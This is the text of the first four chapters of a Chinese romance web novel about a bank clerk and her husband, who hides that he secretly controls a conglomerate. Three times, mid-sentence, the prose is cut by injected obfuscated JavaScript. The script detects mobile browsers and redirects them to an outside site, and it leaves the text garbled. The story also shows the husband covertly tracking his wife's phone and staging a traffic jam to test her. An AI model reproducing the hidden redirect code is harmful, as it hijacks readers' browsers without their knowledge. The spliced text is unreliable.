《亲手撕碎白莲花》 1. 第 1 章 清晨五点二十八分,倪真真睁开眼睛,她总是能在闹钟响起前清醒过来,为了上班不会迟到,也为了不吵醒身边的人。 许天洲还睡着,长长的睫毛,呼吸平稳。 他睡相极好,躺下是什么样,早上醒来还是什么样。 倪真真撑起半个身子,借着从窗帘那边透过来的些许光线打量着他,她喜欢看他,可又不敢在他醒着时盯着他看。看着看着,倪真真又想起第一次见他时的情景。那是高中的英语课,许天洲作为转学生走进教室。 所有人都被他的样子惊呆了,大家议论纷纷,倪真真也觉得他和别人不一样。他清冷、孤傲、不苟言笑,言谈举止中显露着与年龄不符的成熟,好像超脱于世俗之外,让人无法亲近。 可是不管怎样,他们还是在一起了。 倪真真想到这里,不自觉地笑了一下,她克制住想要亲吻他的冲动,小心翼翼翻身下床。 客厅的灯光亮起,狭小而局促的空间出现在眼前。房子是上世纪的老公房,地砖裂开了,墙皮掉了几块,一枚灯泡从带着霉斑的天花板上垂下来。 倪真真走进厨房,开始准备早饭。 说是厨房,其实就是封起来的阳台,一边是煤气灶,一边是旧水槽,中间仅能容下一人,要是稍胖一点儿的人站在这里,估计转个身都不容易。 长久以来对时间的苛刻要求让倪真真练就了一身快速制作早餐的本领,把前一天晚上泡好的米放进锅,把花卷、鸡蛋放上蒸架,等待的同时再制作一个小菜。不过今天的任务重了一些,倪真真除了要制作早餐,还要把午餐一起做了,好在她对食物要求不高,一点儿米饭,一个炒菜也就够了。 饭菜上桌的时候,许天洲已经起来了。他刚换好上班要穿的西装,正在对着镜子打领带。 猛然瞧见镜子里不苟言笑的脸,倪真真不由得愣了一下,许天洲穿西装是极好看的,好看到现在看到这样的他还是会忍不住脸红心跳。其实在倪真真看来,这套西装并没有多好,那只是许天洲所在公司发的工作服,但却毫不意外地被他穿出了奢侈大牌的味道。 “吃饭了。”回过神的倪真真向许天洲说道。 “嗯。”系好领带的许天洲低下头整理着袖口,淡淡地应了一声。 许天洲从不在吃饭的时候说话,通常情况下,都是倪真真在一旁眉飞色舞地说着,他时不时点一下头或是漫不经心的“嗯”一声。 和往常不同,今天的倪真真表情复杂,她犹豫半晌,小心翼翼开口,“房东说,从下个月起,每个月涨五百房租。” 许天洲拿着汤匙的手停了一下,眉梢微挑,“又涨房租?” 这不是房东第一次涨房租,半年前,房东提出每个月涨三百,因为房子在租给他们前空置了很长一段时间,房东为了能把房子租出去,不得已给他们打了折,房东说她每每想起这件事就觉得懊恼,所以坚持在续约时涨了房租。 倪真真抿了抿唇,“其实……房东夫妻也挺不容易的。” 房东夫妻是外地人,几年前为了给儿子准备婚房倾尽所有积蓄买了这套房子,因为儿子还在上大学,他们就把这套位于市区的房子租给他们,自己去郊区农村租了一间平房。老两口没有正式工作,平常只能打零工,这套房子就是他们唯一的依靠。 许天洲没有说话,他垂下手,汤匙碰到碗底,发出清脆的声响。 倪真真知道自己又惹许天洲生气了,声音不由自主地低下去,“最近旧城改造,很多人出来租房子,房租确实涨了不少,其实五百块钱对我们来说也不是负担不了,对了……” 倪真真说着从厨房拿出一个饭盒,里面一半是米饭,一半是莴笋炒木耳,饭菜还冒着热气,隐隐约约有香味飘出来,清清爽爽的煞是诱人。 倪真真兴致勃勃地说:“我算了算,我每天吃外卖也要花不少钱,不如自己带饭,这样又健康又实惠,钱丽娜也每天带饭。” 许天洲沉着脸,还是没有说话。 “我给你也准备了。”倪真真从背后拿出一根煮好的玉米,“你们吃饭时间晚,吃的东西又那么多油,你把这个拿上,就当加个菜。” 玉米看上去软糯糯的,被倪真真小心包在保鲜袋里,许天洲接过玉米,不着痕迹地说了一句,“你呀……” 倪真真笑了笑,她抬眼环视一周,目光在墙上的照片、电视柜上的栀子花、窗户上的星星灯上一一掠过,不无感慨地说道:“我好不容易把这里收拾得有点儿家的样子,实在不想再搬家。” 许天洲知道,倪真真的愿望是早日搬进属于他们自己的房子,可是以现在的房价和他们的收入,这个愿望恐怕并不容易实现。 七点钟,两人走出家门奔向附近的地铁站,只要汇入密集的人流,每个人都会情不自禁地加快脚步。 这里算不上是全市最拥挤的地铁站,但也好不到哪儿去,从地铁站外开始就要排队,到了安检的地方又要排队,进站后还要排队,好不容易等到车来了,车厢中间的人不想其他人挤过来,车外的人又拼命想挤上去,这可苦了站在门口的人,倪真真好几次都被挤得双脚离地,还是许天洲借着身高优势,把她带到安全地带,又借用身体给她营造了一个小小的栖身之所。 两站后,两人要下车换乘另一条地铁,这是最考验体力和技巧的时候,也是最让倪真真头皮发麻的时候,这天,她再一次被上车的人流挤了回去,还好许天洲一把抓住她的手腕,硬生生将她从车里拽了出来。 下车后,倪真真顾不上整理弄乱的头发,一边提鞋跟一边往前赶。 从这个站台到那个站台要经过一个天桥,倪真真走着走着,突然停下脚步,眼睛怔怔地望着一个方向。 “怎么了?”走在前面的许天洲回过头。 “没事。”倪真真回答。 许天洲顺着倪真真的目光看去,一下子皱了眉,他拉起倪真真的胳膊,催促道:“快点儿,别迟到了。” “哦。”倪真真继续往前走,刚才的一幕却像一根刺似的扎在她的心上。 混着人群从台阶上下来,倪真真一眼发现站台上刚好停着一辆车,她跑了几步冲上去,又在即将关门时冲许天洲喊道:“别忘了吃玉米。” 车门关上了,倪真真听不清他说了什么,只能从他的口型中依稀分辨出一句,“知道了。” 倪真真叹了口气,许天洲这个人,根本不把她的话放在心上,到时候工作一忙,说不定又把这件事忘了。 几站后,倪真真找了个地方坐下,因为是开往郊区的车,车上的乘客并不多,这个时间,大多数人都在往市区赶,就像许天洲一样。 倪真真在郊区乡镇的一家银行工作,其实她完全可以像钱丽娜那样在工作单位附近租房,这样既能省钱,上班又方便,可是她始终放心不下许天洲。 他在市中心的汇景广场上班,如果住在郊区,单程通勤时间要两个小时,他的工作时间本来就长,再算上通勤时间,实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735544|174084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在是太辛苦了。现在这样虽然累一些,可两个人选择在一起,不就是要共同分担吗?再说了,在乡镇的网点工作也只是暂时的,只要她好好表现,也许过不了多久就能调到市区。 和保安打过招呼后,倪真真从后门进入网点,又径直拐进右边的更衣室开始扎头发带丝巾。这段时间,行里主抓职业形象,据说还安排了“神秘人”暗访,任何一个环节出问题都有可能被当成典型全行通报批评。 倪真真不敢怠慢,对着镜子认认真真地整理丝巾。 不多一会儿,荣晓丹和钱丽娜进来了。 荣晓丹是本地人,小学、中学都是在一条街外的乡镇学校上的,据她说,二十年前,这里就是一片坟地,家里大人都不让他们到这边玩,谁知道长大后倒来这里上班了。 钱丽娜租在离荣晓丹家不远的小区,两个人来上班时经常会碰上。 一路上,两个人都在聊买房的事情,从各区的房价,到哪个楼盘有好的学区,再到家里能拿出多少首付。 钱丽娜家境不错,父母一个是中学教师,一个是内科医生,已经给她准备了一笔钱。荣晓丹家虽然没什么钱,但她家所在的地方一直在传要拆迁,到时候选择货币补偿也就有了首付。 “真真,你呢?你买房的话,家里能支持多少?” 倪真真正要把耳边的碎发用发夹固定好,荣晓丹突然跳到她的面前,大眼睛一眨一眨的,仿佛动画片里的小鹿。 与此同时,刚刚转过身已经把钥匙插进更衣柜锁孔的钱丽娜倏地停下动作,其实荣晓丹问的问题也是她想问的。 她一直很好奇倪真真的家庭背景,说实话,倪真真看上去并没有什么特别,衣服鞋包都是最普通的牌子,既没有房也没有车,可她总觉得倪真真和她们不一样。 她还记得刚入职那会儿,所有新人被拉到一家酒店培训,有一项培训内容是服务礼仪。大家模仿着老师的动作做过一遍后,老师单独点名让倪真真做一次。钱丽娜清晰地记得,当倪真真在椅子上坐下,将双腿交叠又摆出四十五度角的时候,在场的人无不下意识发出一声赞叹。 荣晓丹说倪真真是仙女下凡,倪真真却说这只是因为她小时候学过舞蹈。钱丽娜觉得那不过是倪真真谦虚罢了,她小时候也学过舞蹈,怎么没被老师叫去示范。 她还记得面试的时候,倪真真说过自己的毕业院校,那是一所国外的大学,能出国留学,肯定还是有些家底的。 让钱丽娜没想到的是,倪真真家里的情况要比她想象的厉害得多。 大家渐渐熟悉后,钱丽娜才知道倪真真没有参加高考,也压根没打算参加高考。 她从幼儿园到中学一直在一家国际学校就读,光学费就要二十万一年,再加上其他杂七杂八的费用,绝对不是一般人家能供得起的。 可是不管她们怎么旁敲侧击,只要涉及到家里的情况,倪真真要不闭口不言,要不就是找个话题敷衍过去。 果然,这一次,倪真真指着自己的头发说:“你帮我看看,碎发是不是太多了?” “哪有?我看着挺好的,你还是帮我弄弄丝巾吧,我手太笨了,怎么弄都弄不好。” “好好好,放心吧,我肯定给你弄得漂漂亮亮的。” 锁孔转动的声音响起,钱丽娜的唇边溢出一丝意味不明的笑。 这个荣晓丹,又被倪真真糊弄过去了。 倪真真虽然不愿意提家里,但是和她们提过几次她的老公。 2. 第 2 章 “你嫁给了爱情。” 每次提起许天洲,倪真真原本温婉的面容都会变得愈加柔软。这让钱丽娜感到非常惊讶,她惊讶的不是婚姻生活并没有传说中的那样可怖,而是倪真真竟然这么早就结婚了。 不等钱丽娜开口,荣晓丹已经问了出来,“他多大了?是干什么的?在哪儿工作?你们怎么认识的?还有最重要的……他帅不帅?” 当钱丽娜听到倪真真的老公在汇景中心工作时,她着实吓了一跳。 汇景中心是本市的地标之一,整个项目包括两栋超高建筑和连接两个超高建筑的裙楼。 汇景中心五层以下是购物中心和停车场,五层以上是酒店和写字楼。因为地理位置优越,设施先进又配套完善,众多知名企业都选择在这里办公,投行、咨询、媒体、律所、科技、制造……随便一个都是足够在简历上镶钻的经历。 能在汇景中心的写字楼拥有一席之地是许多人的梦想,以至于很多自媒体都喜欢用汇景中心做噱头,什么《我花了十年时间才能在汇景中心上看风景》《汇景中心男子图鉴》《你见过凌晨四点的汇景中心吗》,诸如此类,不胜枚举。 钱丽娜还以为倪真真的老公像文章里描绘的那样,常春藤海归背景,穿三万块的定制西装,用带着logo的奢侈品钱包,在会议上用英文谈着高大上的项目,最重要的是手里一定要有一杯星巴克咖啡。 结果让钱丽娜颇为意外,倪真真的老公虽然在汇景中心工作,却不是什么投行精英,而是在购物中心地下一层的米粉店当店长。倪真真还说两人是校园恋爱,他们在中学时就认识了,后来兜兜转转,好不容易才在一起。 荣晓丹听后,“哇”的一声露出星星眼,“好浪漫啊……” 钱丽娜也说,“你嫁给了爱情。” 其实她真正想说的是,“爱情能当饭吃吗?” 很快,倪真真帮荣晓丹带好丝巾,两人叫她一起去开晨会,钱丽娜答应一声,锁好柜子跟着出去了。 同一时间,许天洲已经下了地铁。 和那些穿着定制西装,拿着星巴克不停讲电话的人不同,许天洲走向了此时还没什么人的购物中心。 下了扶梯,走进米粉店,许天洲并没有在狭小的店长办公室停留,而是打开办公室的铁皮柜,一步从铁皮柜跨了出去。 铁皮柜外,一个四四方方的门厅出现在眼前,不远处,一部需要密码才能开启的电梯正等着他。 乘电梯直升58楼,许天洲从电梯出来,轻车熟路地向右走去。 虽然在同一栋大楼,这里和充满市井气的地下一层有着截然不同的模样。 没有油腻的地板,没有写着“套餐仅售某某元”的易拉宝,没有坏了一半的霓虹灯,也没有因为常年不通风留下的奇怪味道,有的只是极具设计感的装修和来自自然光的拥抱。 奇怪的是,这里虽然属于办公区所在的楼层,却又不是一般办公室的样子,放眼望去,偌大的空间里看不到一张办公桌,只有一张不算太大的会议桌。 正在等候开会的几人看到许天洲来了,急忙起身,恭恭敬敬地说了声“许先生早”。 许天洲点头,接着环视一周,将目光落在一个生面孔身上。 一旁的苏汶锦立即向他介绍:“这位是新来的技术专家,曾就职于宇航研究所。” 许天洲伸出手,说:“你好,我是许天洲。” “你……你好……”技术专家虽然做足了心理准备,但真正见到许天洲时还是免不了有些紧张。 等大家落座,他依旧偷偷打量许天洲,原来这就是信达集团的实际控制人。 说起来有些好笑,他跳槽到信达集团工作的事情,是苏汶锦亲自和他谈的。 他第一次见到苏汶锦时也像今天这样激动。 作为知名企业家,苏汶锦经常参加会议,发表演讲,接受采访,哪怕从不看财经新闻的人,也会从各种渠道知道他的名号。他就像信达集团的代言人,只要知道信达集团,就一定会知道他的名字。 “经常在电视上看到你,今天终于见到真人了。”他不断说着恭维的话,诚挚感谢苏汶锦对他的赏识,再三表示愿为苏汶锦效犬马之劳。 苏汶锦却谦逊地说:“这其实是个误会。” 原来他虽然是信达集团的董事局主席兼执行总裁,但他并不是信达集团的实际控制人。至于信达集团的实际控制人是谁,在这个世界上只有七个人知道。 “你将是其中之一。”苏汶锦指着他,郑重其事地说道。 苏汶锦说老板非常重视即将开始的项目,所以决定让他进入信达集团的最高决策层。 “早上七点四十五到我办公室,我带你从办公室内的楼梯上楼,和老板一起开会。” 苏汶锦还特意嘱咐他,老板同时在地下一层的米粉店当店长,你要是看见了不要太惊讶,也不要上去和他攀谈,就当不认识。 “千万记住。” 他永远都忘不了苏汶锦说这句话时的表情,像在说着一件性命攸关的事情,仿佛一个不小心就会造成世界毁灭一般的后果。 “我记住了。”他擦了擦额角的冷汗,在心里感叹,也不知道这些有钱人都是什么毛病,这么大一家公司不够他管,非要去米粉店当店长? 信达集团通常会在九点开始工作,因为许天洲的要求,最高决策层的会议提前到八点进行。 许天洲虽然是信达集团的实际控制人,在会议中却更像一个旁观者,他既没有坐在最中间的位置上,也很少说话,只是偶尔问一些细节。 前段时间,许天洲决定进军航天领域,成立一家面向商业航天市场的公司,主营运载火箭设计、制造和运营。这也是为什么请航天方面的技术专家进入集团最高决策层的原因。 商业航天投资大,周期长,从融资到执行,每一步都至关重要,稍有不慎便可能造成无法挽回的后果。 会议持续到中午,苏汶锦宣布休会,“先吃饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735545|174084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 不多一会儿,苏汶锦的秘书送来几份盒饭。 苏汶锦亲手把盒饭递给技术专家,抱歉地说:“不好意思,委屈你了。” “没关系,以前在研究所的时候经常连饭都顾不上吃,现在能吃上一口热乎的已经很好了。”技术专家说完,小心翼翼地打开餐盒。 他早就听说信达集团的员工餐非同一般,食材都是有机产品,由知名大厨烹制,至少一个月不重样,今日一见果然名不虚传。 技术专家正津津有味地吃着,偶然抬头,发现许天洲不知道从哪儿拿出来一根玉米,也不顾旁边还有人,自顾自地啃了起来。 技术专家看呆了,不由得在心里感慨,是排骨不够香,还是虾仁不够嫩?堂堂信达集团的实际控制人怎么还自带玉米? 一旁的苏汶锦看到这一幕,玩味地笑着,“是她给你准备的?” “是。”许天洲无奈道,“她怕我饿着,非要我拿上。”言语中似乎颇为嫌弃。 技术专家正在想这个“她”是谁,突然间,许天洲抓起手机,脸色也跟着一变。 苏汶锦察觉到不对,“怎么了?是她出什么事了吗?” 许天洲“啪”的一声把手机扔在桌子上,脸色阴狠,语气透着不悦,“我就知道……” 许天洲的手机上,一个红色的小点正在从郊区向市中心移动。 倪真真趁着午休的时间从银行跑了出来。 她一路辗转来到一个地铁站,爬上天桥后远远看到一个穿着藏青衣衫的老奶奶,长长地吐出一口气。 还好,她还在。 倪真真早上路过这里时看到老奶奶跪爬在地上乞讨,地铁站里,赶着上班的人们来来往往,却少有人搭理她。倪真真很想上去给老奶奶一些钱,又怕许天洲生气。 许天洲说过,街上乞讨的人都是骗人的,人家不一定比她过得差,她有功夫同情别人不如多同情同情她自己。 万一真的有人需要帮助呢? 要是没看到也就算了,可她偏偏看到了,倪真真始终过不去心里那道坎,一想到老奶奶也许真的有困难,她就坐立不安,不等晚上下班便急急忙忙跑了过来。 倪真真还记得钱丽娜说过,面对乞丐,要饭的就给钱,要钱的就给饭。她把刚买的包子、豆浆递给老奶奶,温言道:“快吃吧。” 老奶奶看了一眼,青灰色的眼睛由一潭死水焕发出一簇光芒,她不住地向倪真真磕头,“谢谢姑娘,谢谢姑娘……” “不用不用,您慢点儿吃,不够我再去买。” 看着老奶奶狼吞虎咽的样子,倪真真觉得这一趟真是来对了。她甚至有些得意地想,回去后一定要把这件事告诉许天洲,看他还说不说街上的乞丐都是骗人的。 等老奶奶吃得差不多了,倪真真准备离开。 就在她转身的时候,老奶奶忽然跪爬几步,抱住倪真真的腿,“姑娘,给我些钱吧,求求你了,求求你了……” 3. 第 3 章 笑容僵在脸上,倪真真转头看着老奶奶,惊讶得说不出话。 她下意识后退几步,一不小心摔在地上,老奶奶像是抓到救命稻草一样死死抱着她,倪真真费了好大的劲儿才挣脱出来。 老奶奶继续大喊:“给我些钱吧!我要钱啊!对,我有那个二什么,就是这个,你可以扫……” 倪真真这才注意到老奶奶要钱的铝盆里放着一个二维码。 “呵……”像是看到什么天大的笑话,倪真真痴痴地笑出声。 真是太可笑了,她竟然天真地以为老奶奶会要吃的就不会要钱。原来都是骗人的,都是骗人的! 老奶奶还在苦苦哀求,倪真真像没听见似的,跌跌撞撞地从地上爬起来,头也不回地跑掉了。 地铁上,倪真真望着玻璃窗上的自己发呆,看来许天洲说得没错,街上的乞丐真是骗人的,还好这次的事情没有让他知道,不然他肯定会大发雷霆。 倪真真下了地铁,换乘一辆公交,她看了看时间,应该能赶得上。 银行里人手不多,中午只能错开时间吃饭,如果倪真真回去晚了,其他同事肯定要饿着肚子。 谁知道偏偏在这时候出了岔子。 公交车刚开出去没多久便遇上堵车,一辆写着“信达物流”的超长货车在调头时坏了,正好横在路中央。 抱怨声、鸣笛声此起彼伏。 倪真真想要下车,公交司机却说不到站不能下,“都是为了你们的安全。” 倪真真只好干等着,这一等就等了半个多小时。 回到柜台,倪真真忙不迭给钱丽娜道歉:“对不起,我回来晚了。” 一旁的荣晓丹说:“真真,你总算回来了,丽娜都生气了。” “都是我不好,你快去吃饭吧。”见钱丽娜依旧板着脸,倪真真又说,“那个……今天晚上我请你们吃饭,地方你们挑。” “真的吗?”荣晓丹惊喜道,“那我们可不客气了,丽娜不是一直想吃日料吗?正好让真真请客。好了啦,别生气了。” 钱丽娜的脸色总算缓和了一些,“什么日料,大家都是同事,真真晚了一点而已,你还真好意思开口。”她眼珠一转,“要不吃米粉吧。” “米粉啊……”荣晓丹不情愿地说道。 钱丽娜已经打定了主意,“就去汇景中心那一家,我和晓丹很少去城里,正好趁这个机会逛一逛。” “好主意。”原本还要吵着吃日料的荣晓丹立刻改口,“正好可以见一见真真的老公。” 既然她们这么说了,倪真真也不好推脱,“可以。” 倪真真想来想去还是觉得应该和许天洲说一声。她在柜台的时候不能碰手机,下班后才有机会给许天洲打电话。 手机屏幕亮起,许天洲看了一眼,轻轻将手机扣过去。此时,他正在和一家上市公司总裁商谈合作建设火箭制造基地的各项细节。 这项合作牵扯巨大,以至于苏汶锦一再强调自己可以代表集团实际控制人的意愿,对方还是不放心,“他们坚持要和你本人谈。” “好吧。”许天洲只得答应。 “你不会就这么去吧?”苏汶锦说着,往许天洲身上看了一眼。 许天洲穿的是米粉店的工作服,虽然是一套西装,但质量并不怎么好。他穿成这样和公司里的人开会没什么,去见未来一段时间内公司最为重要的合作伙伴则显得有失妥当。 “也是。” 还好许天洲在公司留了一个套房,里面不只硬件施设一流,吃穿用度也应有尽有。 苏汶锦为他选了一套宝蓝色的三件套西装,又在各色配饰中精心挑选了搭配西装的宝石袖扣、领带夹和腕表。 所有东西中,只有一样东西是许天洲自己选的,那就是鼻梁上的那副金丝眼镜。虽然对方总裁应该不会去地下一层的米粉店,不过谨慎一些总没错。 从套房出来,许天洲完全变了一个样子。 苏汶锦第一次见许天洲时就觉得他有一种与生俱来的特别气质,现在有了衣饰的装点,更是将那种优雅、矜贵的味道推向极致。这样的许天洲,别说什么信达集团的实际控制人,就算说他是承袭家族荣耀的世家贵族,对方大概也不会怀疑。 许天洲不接电话,倪真真只好在没打招呼的情况下带着同事到了米粉店。听说许天洲不在,倪真真一边给许天洲发消息,一边招呼大家先点菜,“应该很快会回来。” 谁知道米粉都吃完了,还是不见许天洲的踪影。 米粉店里,客人们来来往往,旁边的桌子换了几拨客人,各个笑容满面,唯独她们这一桌了无生气。 “真真,你老公去哪儿了,怎么还不回来?”荣晓丹百无聊赖地用筷子划拉着碗里的剩汤,“你不会根本没结婚,随便虚构一个老公骗我们吧。” “怎么会……”倪真真笑着说。 钱丽娜心想,荣晓丹真是没脑子,真要虚构一个老公也不可能虚构一个米粉店店长。 她刚想提议出去转一转过一会儿再回来,突然间,荣晓丹坐直身子,大喊一声,“快看快看,好帅啊。” 荣晓丹这人是十足的花痴,经常和她们议论哪个客户长得帅,哪个客户长得像明星,其实根本不是那么回事。这一次,钱丽娜也没把荣晓丹的叫喊放在心上,她甚至抱着看好戏的心情顺着荣晓丹的眼光看去。 谁知道只是一眼,钱丽娜便呆住了。 不用荣晓丹指,她也知道荣晓丹说的是谁,因为那人实在是太耀眼了。 那人刚从外面进来,原本正在迎宾的服务员站在他的身侧,小声说了什么,然后向这边指了指。 那人略微点了点头,算是回应。 冷漠、矜持、不苟言笑便是她对那人的全部印象。钱丽娜在心里想,那人一定很不好相处,然而就在那人的目光与自己的目光相遇时,她又觉得这也不算什么。 随着那人越来越近,钱丽娜的心跳也越来越快,很快,那人开口说了一句什么,正是这句话,让她的心迅速提起来,又急速落下。 那人说:“真真,我回来了。” 坐在钱丽娜对面的倪真真立刻回头,“你终于回来了。”她向大家介绍,“这是我先生,许天洲,这是我的同事,钱丽娜和荣晓丹。” “你们好。”许天洲向两人打招呼。 荣晓丹笑得像一朵花,“你好,帅哥,我早就看到你啦。” 钱丽娜难掩失落,“你……你好……” 许天洲问:“你们吃的怎么样,有没有什么招待不周的地方,要不要再加点儿。” “不用不用,我们吃饱了。”荣晓丹说。 “时间不早了,我们去逛一逛就要回去了。”钱丽娜站起身,接着“咦”了一声。 荣晓丹也看到了,她指着许天洲的后脖颈说:“你的衣服上怎么还有吊牌?是刚买的吗?怎么不剪吊牌?” 许天洲微微一怔,心里叫了一声“糟糕”。 倪真真家境优渥,从小接触各种名牌,那套昂贵的西装一定逃不过她的眼睛。他本想把衣服换回来,可惜倪真真在店里坐着。 无奈之下,许天洲许天洲只好冲到商场随便买了一件衣服,没想到匆忙中居然忘了摘吊牌,还被倪真真的同事看到了。她们会不会以为自己为了面子买了衣服,故意留着吊牌,以便穿过后再退回去? 许天洲猜得没错,其他人确实是这么想的。 “丹丹……”钱丽娜向荣晓丹使了一个眼色,似乎是在提醒什么。 荣晓丹赶忙改口,“不剪就不剪吧,剪了就不能退了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735546|174084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >气氛顿时凝滞,荣晓丹委屈巴巴地说:“我是不是说错话了?” 钱丽娜埋怨道:“人家只是忘了剪,什么退不退的,快走吧。” “哦……”荣晓丹赶忙跟着钱丽娜离开,她在出店门时还不忘回头冲两人眨眼,“真真再见,帅哥再见。” “再见。”倪真真朝她挥手。 等两人走远了,许天洲习惯性地将手插进裤子口袋,“我是不是给你丢人了?” “不会。”倪真真笑着说,“她们一直这样,其实也没有恶意。” “是吗?”许天洲在心里冷笑,她被人欺负成这样,还说别人没有恶意?她到底是真的天真无邪,还是假装善良? 事实上,这个问题一直困扰着他。 他还记得他们第一次见面,那天,他转学到国际中学,当他走进倪真真所在的班级时,班里的同学们立刻爆发出一阵议论。 “什么啊,他穿的是阿迪巴斯?” “你看错了,是欧迪巴斯,做假都这么敷衍,哈哈哈……” “他会不会不知道这是假的,真的以为是欧迪巴斯。” “天哪,原来真的有人穿山寨的衣服?” “你们忘了?他是特招进来的免费生,家里很穷的。” 整整一天,班级里有关他的议论一刻都没停过,同学们或嘲笑或嫌弃,只有倪真真毫不在意。 她主动和他打招呼,让他有什么不明白的都可以找她。 “千万不要不好意思。” “我知道了,谢谢。”许天洲表面上道谢,心里却不相信倪真真会对他的贫困出身毫不介怀。 她一定是装出来的。 许天洲太了解这种人了,给鄙夷披上同情的外衣,以此标榜自己多么善良。 别看她现在这样,背着他的时候不一定怎么说他的坏话。 他甚至能想象出她和别人谈论他的样子——高昂着头,时不时和听者相视而笑,好像白色花朵里妖异猩红的花蕊。 谁知道倪真真这一装就装到了现在,她拒绝了诸多条件优越的追求者,坚持选择自己;她不惜放弃优渥的生活,哪怕和父母断绝关系,也要和自己结婚。 他不相信这是真的,怎么可能有人完全不在乎贫富金钱,纯洁得好像一张白纸。许天洲暗暗和自己较劲,他一定要等到倪真真原形毕露的那一天。 可是倪真真总是让他失望,她对每个人都很好,哪怕他说过无数次乞丐都是假的,她还是要偷偷给他们钱,就像今天这样。 许天洲早就料到倪真真不会对乞讨的老奶奶的坐视不管,果然,中午的时候,他从手机上的定位系统看到倪真真离开银行去了地铁站。他随即让苏汶锦安排一下,找了一辆车堵在路上,故意让倪真真迟到。 为了帮一个假乞丐,害得自己上班迟到被同事嫌弃,值得吗? 许天洲很想听听她的答案。 “她们怎么会来?”许天洲问。 倪真真当然不敢说是因为迟到才要请同事吃饭,“她们想来逛街。” “是吗?” “是啊。”倪真真笑着说。 许天洲又给她出了一个难题,“衣服怎么办,要退吗?” 说实话,这件衣服确实很衬许天洲,倪真真伸手从他的肩头抚过,“很合适,留下吧。” 许天洲在心里冷笑,瞧瞧,又在装了。 倪真真为了攒钱买房,已经很久没有买过新衣服,他们每个月都要精打细算地过日子,她甚至为了省钱以后都要带饭,现在竟然说把衣服留下。 她真的一点儿埋怨都没有吗? “行,都听你的。”许天洲在倪真真的额角印下一吻,顺势将她抱在怀里。 在倪真真看不到的角度,许天洲变了一副颜色,严肃而冷酷。 4. 第 4 章 逼仄的出租房里,倪真真弯下腰,伸手在一个地方轻轻拂过。 那是许天洲新买的西装,还带着属于那人的温度。 许天洲眼光不错,西装剪裁精致,面料挺括,即便在房间老旧得已经不那么亮的灯光下,还是能看到衣服上流光暗涌。 倪真真越看越喜欢。 她暗下决心,一定要好好工作,早日升职加薪,给许天洲买更多更好看的衣服。 看了一阵后,倪真真小心将西装收进衣袋,然后挂在衣架上,准备抽个时间送去干洗。 从卧室出来,倪真真一眼瞧见坐在沙发上的许天洲,他坐姿慵懒闲适,两臂横在胸前,无意识地用遥控器抵着下巴。 电视机开着,听声音像是访谈节目,不断变换的光影交织在他的脸上,能够留下的唯有一片肃穆的莹白。 倪真真的目光随意在电视上一瞟,随即被吸引过去,“这不是苏汶锦吗?” “你知道他?”许天洲略显意外地说道。 “怎么不知道?他在网上挺火的,好多人说他长得帅,用荣晓丹的话说就是从此以后总裁文的男主角都有了脸。” “是吗?”许天洲意味深长地笑着,“你觉得呢?” 倪真真知道这是个圈套,她几步过去扑在许天洲的身上,捏了捏他的鼻子说:“不如你,行了吧?” 许天洲把遥控器扔到一边,专心致志地将倪真真圈在怀里,无声地弯起唇角。 电视里,苏汶锦穿着一身深灰色西装,配一条斜纹领带,除此之外再无多余的配饰,矜贵内敛中透露着让人无法忽视的企业家风范。 面对主持人的提问,他不疾不徐侃侃而谈,从商业航天的前景、意义讲到公司目前的筹备情况,期间几次妙语惹得现场观众掌声连连。 倪真真听了一会儿,由衷地感叹:“这个信达集团还挺厉害的,据说这家公司一开始只是一支由同乡组成的运输队,后来越做越大,十几年的时间里从公路做到航空,现在又要做商业航天把业务扩展到外太空,不得不说,能迈出这一步还是很有魄力的。” “是吗?”许天洲不动声色地听完,有些轻慢地给出评价,“一般吧。” “对了!”倪真真大叫一声从许天洲怀里挣脱出来,片刻后拿来一个记事本,飞快地在上面写着什么。 “你在写什么?” 许天洲探头过去,看到倪真真的笔记本上写了一些诸如“商业航天是新基建的起点”“经济性+大运力是破局关键”“我最喜欢的一句话是……”之类的句子,都是苏汶锦刚刚说过的话。 倪真真解释:“前几天听我们主任说,只要做得好就有机会去信贷部门或者私人银行,到时候说不定会和信达集团的人打交道,也许还会见到苏汶锦本人,我这是提早做好准备。” “呵……”许天洲轻嗤一声,靠了回去。倪真真够傻的,网点主任那么说不过是画大饼而已,这么拙劣的谎言也就她会信。 许天洲说:“八字还没一撇呢,就算和信达集团有合作,你顶多也就能见到一个部门经理,苏汶锦?我看你是白费功夫。” “我不觉得。”倪真真一边奋笔疾书,一边无比认真地说,“多做一些准备总没有坏处,就算用不上也是一种积累。人生这么长,谁知道会发生什么,如果等见到苏汶锦再去准备,那就晚了。” 许天洲又是一声轻嗤,也不知道是不认同她的话,还是觉得她不会见到苏汶锦。 